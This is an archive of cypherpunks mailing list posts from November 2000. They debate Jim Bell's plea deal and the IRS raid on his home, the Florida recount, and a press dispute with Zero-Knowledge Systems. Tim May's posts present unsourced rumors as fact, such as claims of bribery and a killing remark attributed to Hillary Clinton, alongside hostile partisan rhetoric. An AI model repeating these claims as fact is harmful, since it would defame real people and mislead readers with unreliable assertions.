gas. Sodium hypochlorite solution, and sodium bisulphate. I use these "dangerous" chemicals when I do my laundry, and when I clean my bathroom. I think "chemicals that could be used to produce..." is pretty sleezy journalism, which could describe virtually anything. I think using the word "admitted" in describing a plea bargain taken in lieu of a much longer prison sentence is also pretty sleezy journalism. What were the chemicals in question? Does Bell, outside of documents the government makes him sign, claim to have made the IRS doormat smell bad? Does anyone with a clue think nitric acid is a ominous chemical for a chemist to own? I'm really getting tired of Jim Bell articles whose tone suggests that despite the egregious mistreatment of Mr. Bell, the government apprehended him just in the nick of time, before he killed millions with homemade weapons of mass destruction. Bell's Common Law Court was political theatre, his Assassination Politics essays satirical commentary on political accountability, and his documentation of smart-assed IRS employees consumer activism. Aside from not giving his government-issued Social Security number to an employer, the entire compendium of alleged Jim Bell crimes is little more than one of IRS Agent Jeff Gordon's more extreme masturbation fantasies. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From jamesd at echeque.com Sat Nov 11 10:39:27 2000 From: jamesd at echeque.com (James A. Donald) Date: Sat, 11 Nov 2000 10:39:27 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: Message-ID: <4.3.1.2.20001111103541.018dbf20@shell11.ba.best.com> -- At 03:11 PM 11/10/2000 -0800, Tim May wrote: > Physical ballot voting has its problems, but at least people > _understand_ the concept of marking a ballot, as opposed to > "blinding the exponent of their elliptic curve function and then > solving the discrete log problem for an n-out-of-m multi-round > tournament." Ideally, we should organize an election so that the illiterate, the stupid, and the drunk will generally fail to vote correctly. Unfortunately someone would then issue the handy dandy automatic party vote generator, and hand it out to the illiterate, the stupid, and the drunk, adding a bottle of cheap wine when handing it out to the drunk. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG KwZlt9KCijOCzrhw3QZ/cuaemiOw53HCV/PevL0V 4ovZu0o0N7DYZPyCzqgtAMc88qwb/ne5KZ7U4x/6s From gbroiles at netbox.com Sat Nov 11 11:18:07 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Sat, 11 Nov 2000 11:18:07 -0800 Subject: CDR: Re: Declan on Bell In-Reply-To: <200011111740.LAA48366@chao.insync.net>; from emc@chao.insync.net on Sat, Nov 11, 2000 at 09:40:34AM -0800 References: <200011111740.LAA48366@chao.insync.net> Message-ID: <20001111111807.B23209@ideath.parrhesia.com> On Sat, Nov 11, 2000 at 09:40:34AM -0800, Eric Cordian wrote: > > What were the chemicals in question? Does Bell, outside of documents the > government makes him sign, claim to have made the IRS doormat smell bad? If I remember correctly, the substance in question is "mercaptan", and it is used as an additive to natural gas to make gas leaks distinctive and noticeable. I don't remember whether or not Jim has taken credit for the stink-bombing in a non-coercive environment. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From 520099074608-0001 at t-online.de Sat Nov 11 02:21:39 2000 From: 520099074608-0001 at t-online.de (Adrian Reinhard) Date: Sat, 11 Nov 2000 11:21:39 +0100 Subject: CDR: JAK=Kryptik jenseits von PGP und Co. Message-ID: <000501c04bcd$f07d5b60$7b319fc1@erefa> Im Gegensatz zu PGP gibt es von JAK jederzeit Texte, Kryptogramme und Schlüssel zu Testzwecken. 1. Unter www.r-adrian.de 2. Hier: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 705 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: ltestbild.bmp Type: image/bmp Size: 226622 bytes Desc: not available URL: From whgiii at openpgp.net Sat Nov 11 08:29:39 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Sat, 11 Nov 2000 11:29:39 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: Message-ID: <200011111629.LAA18098@domains.invweb.net> In , on 11/10/00 at 07:57 PM, Jim Choate said: >On Fri, 10 Nov 2000, William H. Geiger III wrote: >> ...ect) so I am leaning to congress appointing someone other than him to >> act as acting President until the mess is straightened out. Wether that >> person is a Democrat or a Republican doesn't seem that important as he >> really wouldn't be doing anything unless we wind up at war with someone. >> >> If this election does wind up being decided in Congress it will be the >> biggest game of chicken since the Cuban Missle Crises. Should be >> interesting to see who blinks first. >I've been trying to figure out who might be acceptable on such a short >term notice? How about Powell ? -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From tcmay at got.net Sat Nov 11 11:36:55 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 11:36:55 -0800 Subject: CDR: Re: Looking for statistically-unlikely surges in absentee ballots In-Reply-To: <20001111142031.D26381@cluebot.com> References: <20001111142031.D26381@cluebot.com> Message-ID: At 2:20 PM -0500 11/11/00, Declan McCullagh wrote: >On Fri, Nov 10, 2000 at 12:47:45PM -0800, Tim May wrote: >> I just heard Karen Hughes of the Bush Campaign express concern about >> the status of absentee ballots being mailed AFTER the outcome of the >> election was shown to be so close. In particular, after the legal >> cut-off date. > >Here's a link to the Florida law on absentee ballots: > >--- >http://www.leg.state.fl.us/Statutes/index.cfm?App_mode=Display_Statute&Search_String=&URL=Ch0101/SEC67.HTM&Title=->2000->Ch0101->Section%2067 > >(1) The supervisor of elections shall safely keep in his or her office >any envelopes received containing marked ballots of absent electors, >and he or she shall, before the canvassing of the election returns, >deliver the envelopes to the county canvassing board along with his or >her file or list kept regarding said ballots. > >(2) All marked absent electors' ballots to be counted must be received >by the supervisor by 7 p.m. the day of the election. All ballots >received thereafter shall be marked with the time and date of receipt >and filed in the supervisor's office. >--- > >I must be missing something. Sure looks like the deadline was Tuesday, >with perhaps an exemption for overseas ballots elsewhere in the law? There are many, many news reports about November 17th, this coming Friday, being the deadline for all absentee ballots. This from election officials, state legislators, reporters, legal scholars, etc. So, yes, I would say that there must obviously be other language on this. If not, then you could have the journalistic scoop of the century, er, for a few days, until bigger bombshells fall. And this is the same situation, more or less, in other states. Language about ballot envelopes being _postmarked_ on or before Election Day. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From emc at chao.insync.net Sat Nov 11 11:54:44 2000 From: emc at chao.insync.net (Eric Cordian) Date: Sat, 11 Nov 2000 11:54:44 -0800 (PST) Subject: CDR: Re: Declan on Bell In-Reply-To: <200011111740.LAA48366@chao.insync.net> Message-ID: <200011111954.NAA49472@chao.insync.net> Declan McCullagh writes: > Bell was not coerced into taking the plea agreement; if > anything, he seems to have more mental resources to fight > the system than other defendants I have interviewed. Unless the plea agreement specifies a sentence equal to the upper range that would likely be applied after a conviction was won, it is not difficult to infer that the plea agreement is being signed in order to lock-in a shorter sentence, with the accuracy of the government's account of the alleged misdeeds being a lesser consideration. Most plea bargaining, by its very nature, is coercion plain and simple. Just as the common practice of cutting deals in return for testimony the prosecution wants, or deferring sentencing until such testimony has been provided, results in coerced testimony. That the Justice System recognizes the payment of even one penny to a witness as tainting testimony, but looks the other way when years are knocked off sentences in order to secure testimony or agreement to government-authored laundry lists of antisocial acts, is evidence of the degree to which the government values expediency over fairness in processing caseloads. So I repeat my question. Does Jim Bell, aside from signing a statement prepared for him by the government, in order to avoid a much longer sentence, acknowlege annoying the IRS with unpleasant-smelling chemical substances? A "yes" or "no" will suffice. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From tcmay at got.net Sat Nov 11 11:55:54 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 11:55:54 -0800 Subject: CDR: Democrat FUD: "If our lead does not mount, you must re-count!" In-Reply-To: <20001111144300.C26948@cluebot.com> References: <200011110211.SAA13037@user3.hushmail.com> <3.0.5.32.20001111011912.00adb770@idiom.com> <20001111144300.C26948@cluebot.com> Message-ID: At 2:43 PM -0500 11/11/00, Declan McCullagh wrote: >On Sat, Nov 11, 2000 at 09:05:54AM -0800, Tim May wrote: >> Hilarious. Things are falling apart better and with more acrimony >> than I'd hoped. >[...snip...] >> And so it goes, with recounts, judicial adjustments, do overs, and >> other such things requested in dozens, then hundreds, then thousands >> of counties. > >As much as I'd appreciate, purely from the perspective of continued >amusement, this perpetual election to continue, I suspect it won't. > >At least some Dems are publicly telling Al to back down: >http://www.perpetualelection.com/article.pl?sid=00/11/11/090229 > >If Al's stated litigiousness becomes perceived as a liability, we >might see a kind of trip from Capitol Hill to the Naval Observatory to >tell Al enough is enough. The irony is that one of the senators most >tempermentally likely to do so is, of course, the Dem VP candidate. * Stage One of the FUD Campaign, Wednesday morning: "They found a whole box of ballots in an inner city, Democratic-leaning, pre-school! This will throw the election to Gore." (quickly turned out that this alleged ballot box contained stationery supplies) * Stage Two of the FUD Campaign, Wednesday evening: "Thousands of elderly Jewish voters were tricked by the confusing ballot into voting for Pat Buchanan." (turned out that, based on interviews, nearly every Jew in Palm Beach County claims to have accidentally voted for Buchanan, or double-voted. The numbers don't support this, and other counties had spoiled ballots, too. A Republican-leaning county in northern Florida had 22,000 spoiled ballots.) * Stage Three of the FUD Campaign, all day Thursday and continuing: "At least 20,000 ballots were spoiled because elderly Jewish Democrats got confused and tried to vote for Gore after discovering they accidentally voted for Buchanan. We demand a re-vote!" * Stage Four of the FUD Campaign, current: "We demand a manual recount. Two counts, the first one and then the state-mandated machine recount, are not enough. We are certain that if certain counties are counted again, and again, that the extra votes we need will be found." [As Jesse Jackson and Johnnie Cockroach might singsong: "If our lead does not mount, you must re-count!'] * Stage Five of the FUD Campaign, ongoing: "The whole Electoral Thing is a throwback to the whitemale patriarchy. What matters is the popular vote, the first one, before Bush temporarily took the lead by manipulating the recounts in New Mexico, Wisconsin, Iowa, and other states. The Peeples spoke on Tuesday night!" A lot of Democrats need to be dealt with when this is (temporarily) through. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Sat Nov 11 12:29:44 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 12:29:44 -0800 Subject: CDR: Re: Declan on Bell In-Reply-To: <200011111954.NAA49472@chao.insync.net> References: <200011111954.NAA49472@chao.insync.net> Message-ID: At 11:54 AM -0800 11/11/00, Eric Cordian wrote: >Declan McCullagh writes: > >> Bell was not coerced into taking the plea agreement; if >> anything, he seems to have more mental resources to fight >> the system than other defendants I have interviewed. > >Unless the plea agreement specifies a sentence equal to the upper range >that would likely be applied after a conviction was won, it is not >difficult to infer that the plea agreement is being signed in order to >lock-in a shorter sentence, with the accuracy of the government's account >of the alleged misdeeds being a lesser consideration. > >Most plea bargaining, by its very nature, is coercion plain and simple. > >Just as the common practice of cutting deals in return for testimony the >prosecution wants, or deferring sentencing until such testimony has been >provided, results in coerced testimony. And, as all of us have commented on many times, there are so many things which are crimes, so many piled-on charges, that Bell could have been facing 20 years in prison for his minor, minor transgressions. Hilary takes bribes and runs a $1000 investment up to $100,000 with inside knowledge. Hilary also hides evidence in a criminal investigation, somewhere in the _private quarters_ of the White House. It mysteriously shows up, part of it, three years later, on a table in the private quarters. And so on. No charges filed. The fix was in. Meanwhile, Jim Bell keeps getting raided, busted, and charged with various bullshit minor transgressions. (As for advocating murder, Hilary was overheard on election night at a party, railing against Ralph Nader for doing what he did. Fine. But she was also overheard saying that "we ought to just have him killed."--I heard this on one of the many talk shows I was listening to, possibly it was Tim Russert or J.D. Haworth on "Imus." Not sure.) As a felon, I appreciate that a raid on my house could probably net enough b.s. evidence to give a rigged court the excuse to sentence me to 20 years and fine me a few million bucks. So many things are now illegal that a prosecutor can "indict a ham sandwich," as the saying goes. And then use the threat of 20 years in prison to coerce nearly any kind of plea bargain, surveillance-state parole, etc. (The whole parole system is another can of worms. Can't have guns, can't use a computer, can't associate with thought criminals, can't read controversial material, probation officer can enter home at any time, various other police state measures. All done because the courts have stacked the deck.) The American legal system is notoriously corrupt. Sure, most of the things which are "illegal" are never actually prosecuted: they are there as bargaining chips to get plea agreements so that prosecutors can get convictions on their scorecards and campaign posters. Police states _like_ it when there are tens of thousands of laws on the books. Little wonder the government seeks to disarm us. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Sat Nov 11 09:52:39 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 12:52:39 -0500 Subject: CDR: Wired article on Jim Bell, links to search warrant and photo Message-ID: <4.3.0.20001111125222.00b16f00@mail.well.com> http://www.wired.com/news/politics/0,1283,40102,00.html IRS Raids Cypherpunk's House by Declan McCullagh (declan at wired.com) 2:00 a.m. Nov. 11, 2000 PST WASHINGTON -- When a dozen armed federal agents invaded Jim Bell's home this week, he wasn't exactly surprised. Ever since Bell, a cypherpunk whom the U.S. government has dubbed a techno-terrorist, was released from prison in April, he's predicted another confrontation with the Feds. "They're basically trying to harass me," Bell said in a telephone interview. He has not been arrested or charged with a crime. In 1996, Bell attracted the unwelcome attention of the IRS and the U.S. Secret Service after they learned he was talking up a plan to promote the assassination of miscreant bureaucrats through an unholy mix of encryption, anonymity and digital cash. Bell even gave his scheme a catchy title: "Assassination Politics." Four years, three arrests and one plea-bargain later, Bell was released from the medium-security federal penitentiary in Phoenix, Arizona. Since then, he's been busy trying to prove allegations of illegal surveillance on the part of the Feds, including his charge that they unlawfully bugged his home. For Bell, that meant spending the last six months compiling personal information about IRS and Bureau of Alcohol, Tobacco, and Firearms agents, a move that appears to have led to the six-hour search of his home in Vancouver, Washington. Government offices were closed on Friday, and representatives were unavailable for comment. But the agents' search warrant cites "evidence of violations" of a federal law that prohibits intimidation of IRS agents. [...] *********** I've included links to the original documents in this article: http://www.cluebot.com/article.pl?sid=00/11/11/101218&mode=nested Feds Raid Cypherpunk Jim Bell posted by declan on Saturday November 11, @05:58AM from the now-who-saw-this-coming? dept. Crypto-convict Jim Bell, best known for popularizing the idea of offing Feds through anonymity, encryption, and digital cash, was raided this week by the IRS and BATF. He has not been arrested and is irate, vengeful, and computer-less, but otherwise fine. This happened just half a year after he was released from prison. We've placed JPGs online of the search warrant, vehicle search warrant, justification, and list of items taken. Note the justification includes items related to his "Assassination Politics" scheme. We also offer some background and a surprisingly flattering color slide photo I took of Bell. ********* Photo: http://www.mccullagh.org/image/9/jim-bell-3.html From tcmay at got.net Sat Nov 11 13:04:51 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 13:04:51 -0800 Subject: CDR: Re: Democrat FUD: "If our lead does not mount, you must re-count!" In-Reply-To: References: <200011110211.SAA13037@user3.hushmail.com> <3.0.5.32.20001111011912.00adb770@idiom.com> <20001111144300.C26948@cluebot.com> Message-ID: At 11:55 AM -0800 11/11/00, Tim May wrote: > >* Stage Four of the FUD Campaign, current: "We demand a manual >recount. Two counts, the first one and then the state-mandated >machine recount, are not enough. We are certain that if certain >counties are counted again, and again, that the extra votes we need >will be found." > >[As Jesse Jackson and Johnnie Cockroach might singsong: "If our lead >does not mount, you must re-count!'] * Stage 4.5 of the FUD Campaign, Saturday afternoon: "It's the chads, the little pieces of paper punched out but hanging by a thread." (How appropriate: "hanging by a thread") The Democrats are demanding that ballots marked as spoiled be checked to see if they have "indentations" or "chads." Of course, how these indentations or chads have anything to do with Democrats vs. Republicans is unclear... Except that the Democrat Party is requesting the recounts in heavily Democrat precincts! They understand that by recounting, and recounting, and then switching to manual analysis of ballots IN DEMOCRAT-LEANING PRECINCTS they can probably pick up some additional votes for Gore. Simple statistics. The obvious point is that such additional vacuum-cleaning should not be allowed. And if it is allowed in a single precinct, absent some strong evidence that that precinct had precinct-specific "chad problems" with its machines, then ALL precincts should be counted in an identical fashion. A daunting, and expensive, and time-consuming process. A manual inspection of six million ballots will take several weeks. Which may be the Gore strategy, ironically. Get the process in Florida so bogged-down that Florida is left out of the Electoral College process on December 18th. According to many legal scholars, the election would then hinge on a majority of those who were at the EC meeting, even if Florida were to be absent. Advantage: Gore. Fucked up, yes. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Sat Nov 11 13:37:17 2000 From: tcmay at got.net (Tim May) Date: Sat, 11 Nov 2000 13:37:17 -0800 Subject: CDR: Re: Democrat FUD: "If our lead does not mount, you must re-count!" In-Reply-To: References: <200011110211.SAA13037@user3.hushmail.com> <3.0.5.32.20001111011912.00adb770@idiom.com> <20001111144300.C26948@cluebot.com> Message-ID: At 1:04 PM -0800 11/11/00, Tim May wrote: >At 11:55 AM -0800 11/11/00, Tim May wrote: >> >>* Stage Four of the FUD Campaign, current: "We demand a manual recount. Two > >* Stage 4.5 of the FUD Campaign, Saturday afternoon: "It's the >chads, the little pieces of paper punched out but hanging by a >thread." (How appropriate: "hanging by a thread") The Democrats are >demanding that ballots marked as spoiled be checked to see if they >have "indentations" or "chads." > >Of course, how these indentations or chads have anything to do with >Democrats vs. Republicans is unclear... > >Except that the Democrat Party is requesting the recounts in heavily >Democrat precincts! * Stage 4.6 of the FUD Campaign, late Saturday afternoon: It was just revealed on Fox News that the northern Florida county with the 20,000 spoiled ballots is Duval County and that there WILL NOT BE A RECOUNT of the ballots because the 72-hour time limit for challenging the count has passed. (This was from the female director/whatever of the Elections Commission in Duval County, who said that the ballots could not be subject to the same kind of inspection being seen in the other counties to the south because the 72-hour time limit had just passed....) In other words, the Democrats are getting a third count in heavily-Democrat counties because they hustled into town with their lawyers and filed at least 8 lawsuits and screamed and squawked that their peoples had been "discriminated against." Though they've changed the grounds for their complaints several times--see earlier FUD points--this "held the door open" for the manual scrutiny of the "chads" and "indentations" and "voter intent" we're now seeing in the precincts the Democrats are having re-re-counted. The Republicans, on the other hand, took the results as a done deal and thus have let the 72-hour deadline in Duval County (and other such counties, one presumes) pass. "You snooze, you lose." Ah, America. Where the true victors are lawyers. And where the Democrats will likely steal the election by getting "a third bite of the apple." Fucked up, yes. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From petro at bounty.org Sat Nov 11 13:58:16 2000 From: petro at bounty.org (petro) Date: Sat, 11 Nov 2000 13:58:16 -0800 Subject: CDR: Re: Greetins from ZOG-occupied Palestine In-Reply-To: <3.0.5.32.20001111011912.00adb770@idiom.com> References: <200011110211.SAA13037@user3.hushmail.com> <3.0.5.32.20001111011912.00adb770@idiom.com> Message-ID: >At 08:34 PM 11/10/00 -0600, Phaedrus wrote: >> >>On Fri, 10 Nov 2000 auto9950013 at hushmail.com wrote: >> >>> Tim May, the heavily armed hate monger who refers to ZOG, and , his >extreme >>> right wing malitia friends have missed there chance. > > So is "malitia" a bunch of bad soldiers? No, malicious. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From declan at well.com Sat Nov 11 11:15:26 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 14:15:26 -0500 Subject: CDR: Re: Paper re privacy law, wiretaps In-Reply-To: <20001110115249.B19595@ideath.parrhesia.com>; from gbroiles@netbox.com on Fri, Nov 10, 2000 at 11:52:49AM -0800 References: <20001110115249.B19595@ideath.parrhesia.com> Message-ID: <20001111141526.C26381@cluebot.com> Also see: http://www.cluebot.com/article.pl?sid=00/11/10/0028217&mode=nested On this topic. -Declan On Fri, Nov 10, 2000 at 11:52:49AM -0800, Greg Broiles wrote: > An ISP trade organization has commissioned a paper detailing the > legal basis (or lack thereof) for law enforcement requests to service > providers for access to users' communications. The paper is > available online at ; I wasn't > able to find a text/html version. > > -- > Greg Broiles gbroiles at netbox.com > PO Box 897 > Oakland CA 94604 > From declan at well.com Sat Nov 11 11:20:31 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 14:20:31 -0500 Subject: CDR: Re: Looking for statistically-unlikely surges in absentee ballots In-Reply-To: ; from tcmay@got.net on Fri, Nov 10, 2000 at 12:47:45PM -0800 References: Message-ID: <20001111142031.D26381@cluebot.com> On Fri, Nov 10, 2000 at 12:47:45PM -0800, Tim May wrote: > I just heard Karen Hughes of the Bush Campaign express concern about > the status of absentee ballots being mailed AFTER the outcome of the > election was shown to be so close. In particular, after the legal > cut-off date. Here's a link to the Florida law on absentee ballots: --- http://www.leg.state.fl.us/Statutes/index.cfm?App_mode=Display_Statute&Search_String=&URL=Ch0101/SEC67.HTM&Title=->2000->Ch0101->Section%2067 (1) The supervisor of elections shall safely keep in his or her office any envelopes received containing marked ballots of absent electors, and he or she shall, before the canvassing of the election returns, deliver the envelopes to the county canvassing board along with his or her file or list kept regarding said ballots. (2) All marked absent electors' ballots to be counted must be received by the supervisor by 7 p.m. the day of the election. All ballots received thereafter shall be marked with the time and date of receipt and filed in the supervisor's office. --- I must be missing something. Sure looks like the deadline was Tuesday, with perhaps an exemption for overseas ballots elsewhere in the law? -Declan From rah at shipwright.com Sat Nov 11 11:25:35 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Sat, 11 Nov 2000 14:25:35 -0500 Subject: CDR: Public Key Infrastructure: An Artifact... Message-ID: http://www.anu.edu.au/people/Roger.Clarke/II/PKIMisFit.html Public Key Infrastructure: An Artifact Ill-Fitted to the Needs of the Information Society Abstract It has been conventional wisdom that, for e-commerce to fulfill its potential, each party to a transaction must be confident in the identity of the others. Digital signature technology, based on public key cryptography, has been claimed as the means whereby this can be achieved. Digital signatures do little, however, unless a substantial infrastructure is in place to provide a basis for believing that the signature means something of significance to the relying party. Conventional, hierarchical PKI, built around the ISO standard X.509, has been, and will continue to be, a substantial failure. This paper examines that form of PKI architecture, and concludes that it is a very poor fit to the real needs of cyberspace participants. The reasons are its inherently hierarchical and authoritarian nature, the unreasonable presumptions it makes about the security of private keys, a range of other technical defects, confusions about what it is that a certificate actually authenticates, and its inherent privacy-invasiveness. Alternatives are identified. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From declan at well.com Sat Nov 11 11:31:37 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 14:31:37 -0500 Subject: CDR: Re: Declan on Bell In-Reply-To: <200011111740.LAA48366@chao.insync.net>; from emc@chao.insync.net on Sat, Nov 11, 2000 at 09:40:34AM -0800 References: <200011111740.LAA48366@chao.insync.net> Message-ID: <20001111143137.A26948@cluebot.com> Eric, I invite folks to read the full article at: http://www.wired.com/news/politics/0,1283,40102,00.html http://www.cluebot.com/article.pl?sid=00/11/11/101218&mode=nested I'm not taking a position on Bell's case. I do need to tell my readers why was locked up earlier, and that seemed a reasonable way to do it. Bell was not coerced into taking the plea agreement; if anything, he seems to have more mental resources to fight the system than other defendants I have interviewed. -Declan On Sat, Nov 11, 2000 at 09:40:34AM -0800, Eric Cordian wrote: > In a Wired News article, Declan reports: > > "In Bell's 1997, plea agreement, he admitted to owning chemicals that > could be used to produce Sarin gas and to stink-bombing the carpet > outside an IRS office." > > Yeah, and I own chemicals for making chlorine gas. Sodium hypochlorite > solution, and sodium bisulphate. I use these "dangerous" chemicals when I > do my laundry, and when I clean my bathroom. > > I think "chemicals that could be used to produce..." is pretty sleezy > journalism, which could describe virtually anything. I think using the > word "admitted" in describing a plea bargain taken in lieu of a much > longer prison sentence is also pretty sleezy journalism. > > What were the chemicals in question? Does Bell, outside of documents the > government makes him sign, claim to have made the IRS doormat smell bad? > > Does anyone with a clue think nitric acid is a ominous chemical for a > chemist to own? > > I'm really getting tired of Jim Bell articles whose tone suggests that > despite the egregious mistreatment of Mr. Bell, the government apprehended > him just in the nick of time, before he killed millions with homemade > weapons of mass destruction. > > Bell's Common Law Court was political theatre, his Assassination Politics > essays satirical commentary on political accountability, and his > documentation of smart-assed IRS employees consumer activism. Aside from > not giving his government-issued Social Security number to an employer, > the entire compendium of alleged Jim Bell crimes is little more than > one of IRS Agent Jeff Gordon's more extreme masturbation fantasies. > > -- > Eric Michael Cordian 0+ > O:.T:.O:. Mathematical Munitions Division > "Do What Thou Wilt Shall Be The Whole Of The Law" From declan at well.com Sat Nov 11 11:42:33 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 11 Nov 2000 14:42:33 -0500 Subject: CDR: Re: Response to false statements about Zero-Knowledge In-Reply-To: <20001110151045.A22615@ideath.parrhesia.com> References: Message-ID: <4.3.0.20001111142438.02010ea0@mail.well.com> Austin, Thanks for your note. I respect what you're trying to do at ZKS. I think that if ZKS succeeds, the world will be a better place. Further, I have a tremendous deal of respect for some of the very excellent people you have hired. But wishing something to be true does not make it so. My statement about ZKS' sluggish Freedom sales is based on extensive conversations over the last year with folks in this industry, web searches to see how many ZKS nyms appear to be in use, ancedotal information, and conversations with other ZKS employees. As Greg says below, I was writing an article with less-than-perfectly-complete information, but information that I have and had every reason to believe is accurate. You did nothing to refute that belief, and saying "[we are] pleased with our results for Freedom" is an analytically and semantically null statement. The Subject: line of your message complains about "false statements," but you offer nothing by way of identification and refutation. As you say, you did send a note to my Wired editor demanding a retraction. You received a response yesterday saying that Wired identified no errors of fact in my article and you were welcome to submit a letter to the editor. I hope you will, and I wish you luck at ZKS. Yours, Declan At 15:10 11/10/2000 -0800, Greg Broiles wrote: >On Fri, Nov 10, 2000 at 02:56:03PM -0500, Austin Hill wrote: > > > > First to set the record straight, Declan's claim that our software sales > > have been poor is completely baseless. He has reported this as fact when > > during my interview with him I clearly stated that we are pleased with our > > results for Freedom and are seeing substantial growth, so much that we are > > still hiring more engineers (adding to the already 100 we have working on > > it) and adding more features and improvements to our consumer privacy > > product. > >This is a non sequitur - the facts that "ZKS is happy with its sales" and >"ZKS is hiring more engineers" are unrelated to Declan's evaluation of >the available evidence regarding ZKS' sales. In the absence of numbers >from ZKS - which would be the best source of that information, if it >were available - people wanting to evaluate ZKS and its business must >look at less helpful information, which will likely include anecdotal >accounts which you dismiss. > >Now, if the question before us were "Are the shareholders and employees >of ZKS happy with their sales?" or "Are ZKS' sales reasonably within >the projections in their business plan?" or "Is ZKS close to >bankruptcy?", then the facts and feelings you mention above would be >responsive. Those are not, however, the questions raised about ZKS, >so your remarks don't seem to be responsive. > >It doesn't seem reasonable for you to complain about Declan writing >an article based on incomplete information, but to refuse to provide >that information so that the article could be based on better data. >I get the impression that you would prefer the article not appear >at all - which is a reasonable thing to wish for, but not a reasonable >thing to expect. If ZKS wants press, it will have to take the bad >(or the inconvenient) along with the good. > > > Because we as a private company refuse to provide Declan with actual > sales & > > revenue numbers he has persisted in reporting that this is because of poor > > software sales, based on what he described as anecdotal evidence that > he has > > observed in the cypherpunk community. > > > > Declan fails to mention that Freedom was never targeted toward Cypherpunks; > > our goal was to incorporate Cypherpunk-level cryptography and philosophies > > into a privacy tool that would empower the average Internet user to manage > > their privacy online. Cypherpunks can build privacy tools for themselves; > > our target market for Freedom is consumers who are concerned with their > > privacy. > >Sure - cypherpunks are a very small market, so it would be very difficult for >even a small business to survive on cypherpunk sales alone. > >However, that doesn't mean that cypherpunk purchases and evaluations are >unimportant, or can be dismissed. > >High tech marketing people discuss a "technology adoption life cycle" - >Geoffrey Moore writes about this (in _Crossing the Chasm_, et al) but >I don't know if he was the first person to do so. > >Briefly, this model suggests that new products or technology are adopted >at a rate which describes a bell curve - at the left edge, there's a >initially small adoption rate which represents the activity of >"innovators", people who actively seek out new technologies and products, >and who frequently provide valuable unofficial marketing and support >for new products. Moving to the right, we find the "early adopters", >who are not technologists themselves (versus the innovators, who are) >but are willing to risk adoption of a technology or product not proven >on a wide scale if they see a strong benefit. Moving further to the >right, we find the "early majority" and "late majority" who make up >the bulk of the adopters of the technology, who wait until the >product/technology has been approved and proven by the innovators and >early adopters. (Following the late majority are the "laggards", >who are a small market and unimportant to this message). > >When you describe ZKS and Freedom as "consumers who are concerned with >their privacy", I believe you are speaking of the middle of the >bell curve - as you say, cypherpunks don't need freedom, but the >non-technologists do. > >What your analysis seems to miss is the role that's played by the >innovators and the early adopters in bringing a product or a >technology to a maturity level where it's acceptable to the much >larger middle market. For your product, cypherpunks, and wannabe- >cypherpunks are the innovators or the early adopters, in large >part - the people who will experiment with your product, and tell >their friends and families and employers and user groups about it. >If you don't meet the needs of the early people, you won't get >a chance to meet the needs of the people in the middle. > >Comments on the cypherpunks list and at physical meetings seems >to suggest that Freedom is not enjoying a good adoption rate >within what's likely a big part of that adoption curve. I've only >seen a few users of ZKS nyms on public mailing lists, which ought >to be a popular use for them; a web search with Google and >HotBot doesn't reveal any use of @freedom.net email addresses >showing up in mailing list archives. > >If you can point to concrete numbers showing adoption rates, I'm >sure that many people would be interested - but telling us >that you (as a founder of the company) are happy with your sales >doesn't do much to tell the rest of us about what's happening 